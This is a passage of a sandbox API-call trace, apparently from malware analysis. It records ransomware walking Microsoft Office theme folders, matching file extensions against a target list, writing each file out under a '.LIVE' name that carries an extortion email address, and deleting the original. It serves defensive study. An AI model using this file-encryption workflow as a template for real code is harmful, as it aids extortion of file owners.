lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.889] lstrlenW (lpString=".doc") returned 4 [0051.889] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString=".docx") returned 5 [0051.889] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.889] lstrlenW (lpString=".pdf") returned 4 [0051.889] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".xls") returned 4 [0051.889] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".xlsx") returned 5 [0051.889] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.889] lstrlenW (lpString=".ppt") returned 4 [0051.889] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.889] lstrlenW (lpString=".zip") returned 4 [0051.889] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".rar") returned 4 [0051.889] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".bz2") returned 4 [0051.889] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString=".7z") returned 3 [0051.890] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.890] lstrlenW (lpString=".dbf") returned 4 [0051.890] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.890] lstrlenW (lpString=".1cd") returned 4 [0051.890] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0051.890] lstrlenW (lpString=".jpg") returned 4 [0051.890] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.890] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.890] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.890] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=937) returned 1 [0051.890] CloseHandle (hObject=0x200) returned 1 [0051.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0051.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.891] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.891] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.892] GetLastError () returned 0x0 [0051.892] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0051.894] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0051.895] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.895] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.895] SetEndOfFile (hFile=0x184) returned 1 [0051.895] CloseHandle (hObject=0x184) returned 1 [0051.895] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.895] SetEndOfFile (hFile=0x200) returned 1 [0051.896] CloseHandle (hObject=0x200) returned 1 [0051.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.896] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0051.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.896] lstrlenW (lpString=".doc") returned 4 [0051.896] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.896] lstrlenW (lpString=".docx") returned 5 [0051.896] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.896] lstrlenW (lpString=".pdf") returned 4 [0051.897] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.897] lstrlenW (lpString=".xls") returned 4 [0051.897] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.897] lstrlenW (lpString=".xlsx") returned 5 [0051.897] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.897] lstrlenW (lpString=".ppt") returned 4 [0051.897] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.897] lstrlenW (lpString=".zip") returned 4 [0051.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.897] lstrlenW (lpString=".rar") returned 4 [0051.897] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.897] lstrlenW (lpString=".bz2") returned 4 [0051.897] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.897] lstrlenW (lpString=".7z") returned 3 [0051.897] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.897] lstrlenW (lpString=".dbf") returned 4 [0051.897] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.897] lstrlenW (lpString=".1cd") returned 4 [0051.897] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.897] lstrlenW (lpString=".jpg") returned 4 [0051.897] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.897] lstrlenW (lpString=".doc") returned 4 [0051.897] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.897] lstrlenW (lpString=".docx") returned 5 [0051.897] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.897] lstrlenW (lpString=".pdf") returned 4 [0051.897] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".xls") returned 4 [0051.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".xlsx") returned 5 [0051.898] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.898] lstrlenW (lpString=".ppt") returned 4 [0051.898] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.898] lstrlenW (lpString=".zip") returned 4 [0051.898] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".rar") returned 4 [0051.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".bz2") returned 4 [0051.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString=".7z") returned 3 [0051.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.898] lstrlenW (lpString=".dbf") returned 4 [0051.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.898] lstrlenW (lpString=".1cd") returned 4 [0051.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0051.898] lstrlenW (lpString=".jpg") returned 4 [0051.898] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.898] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.898] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.899] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=29305) returned 1 [0051.899] CloseHandle (hObject=0x200) returned 1 [0051.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0051.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.900] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.900] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.901] GetLastError () returned 0x0 [0051.901] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x7279, lpOverlapped=0x0) returned 1 [0051.915] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0051.917] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.917] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.917] SetEndOfFile (hFile=0x184) returned 1 [0051.918] CloseHandle (hObject=0x184) returned 1 [0051.918] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.918] SetEndOfFile (hFile=0x200) returned 1 [0051.919] CloseHandle (hObject=0x200) returned 1 [0051.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.100] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0052.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.100] lstrlenW (lpString=".doc") returned 4 [0052.101] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.101] lstrlenW (lpString=".docx") returned 5 [0052.101] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.101] lstrlenW (lpString=".pdf") returned 4 [0052.101] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.101] lstrlenW (lpString=".xls") returned 4 [0052.101] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.101] lstrlenW (lpString=".xlsx") returned 5 [0052.101] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.101] lstrlenW (lpString=".ppt") returned 4 [0052.101] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.101] lstrlenW (lpString=".zip") returned 4 [0052.101] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.101] lstrlenW (lpString=".rar") returned 4 [0052.101] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.101] lstrlenW (lpString=".bz2") returned 4 [0052.101] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.101] lstrlenW (lpString=".7z") returned 3 [0052.101] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.101] lstrlenW (lpString=".dbf") returned 4 [0052.101] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.101] lstrlenW (lpString=".1cd") returned 4 [0052.101] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.101] lstrlenW (lpString=".jpg") returned 4 [0052.101] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.101] lstrlenW (lpString=".doc") returned 4 [0052.101] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.102] lstrlenW (lpString=".docx") returned 5 [0052.102] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.102] lstrlenW (lpString=".pdf") returned 4 [0052.102] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.102] lstrlenW (lpString=".xls") returned 4 [0052.102] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.102] lstrlenW (lpString=".xlsx") returned 5 [0052.102] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.102] lstrlenW (lpString=".ppt") returned 4 [0052.102] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.102] lstrlenW (lpString=".zip") returned 4 [0052.102] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.102] lstrlenW (lpString=".rar") returned 4 [0052.102] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.102] lstrlenW (lpString=".bz2") returned 4 [0052.102] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.102] lstrlenW (lpString=".7z") returned 3 [0052.102] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.102] lstrlenW (lpString=".dbf") returned 4 [0052.102] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.102] lstrlenW (lpString=".1cd") returned 4 [0052.102] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0052.102] lstrlenW (lpString=".jpg") returned 4 [0052.102] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.102] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0052.103] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.103] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1675) returned 1 [0052.103] CloseHandle (hObject=0x200) returned 1 [0052.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0052.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.103] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.103] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.156] GetLastError () returned 0x0 [0052.157] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x68b, lpOverlapped=0x0) returned 1 [0052.159] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x690, lpOverlapped=0x0) returned 1 [0052.160] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.160] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.160] SetEndOfFile (hFile=0x20c) returned 1 [0052.160] CloseHandle (hObject=0x20c) returned 1 [0052.160] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.160] SetEndOfFile (hFile=0x200) returned 1 [0052.161] CloseHandle (hObject=0x200) returned 1 [0052.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.161] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0052.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.161] lstrlenW (lpString=".doc") returned 4 [0052.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.162] lstrlenW (lpString=".docx") returned 5 [0052.162] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.162] lstrlenW (lpString=".pdf") returned 4 [0052.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.162] lstrlenW (lpString=".xls") returned 4 [0052.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.162] lstrlenW (lpString=".xlsx") returned 5 [0052.162] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.162] lstrlenW (lpString=".ppt") returned 4 [0052.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.162] lstrlenW (lpString=".zip") returned 4 [0052.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.162] lstrlenW (lpString=".rar") returned 4 [0052.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.162] lstrlenW (lpString=".bz2") returned 4 [0052.162] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.162] lstrlenW (lpString=".7z") returned 3 [0052.162] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.162] lstrlenW (lpString=".dbf") returned 4 [0052.162] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.162] lstrlenW (lpString=".1cd") returned 4 [0052.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.162] lstrlenW (lpString=".jpg") returned 4 [0052.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 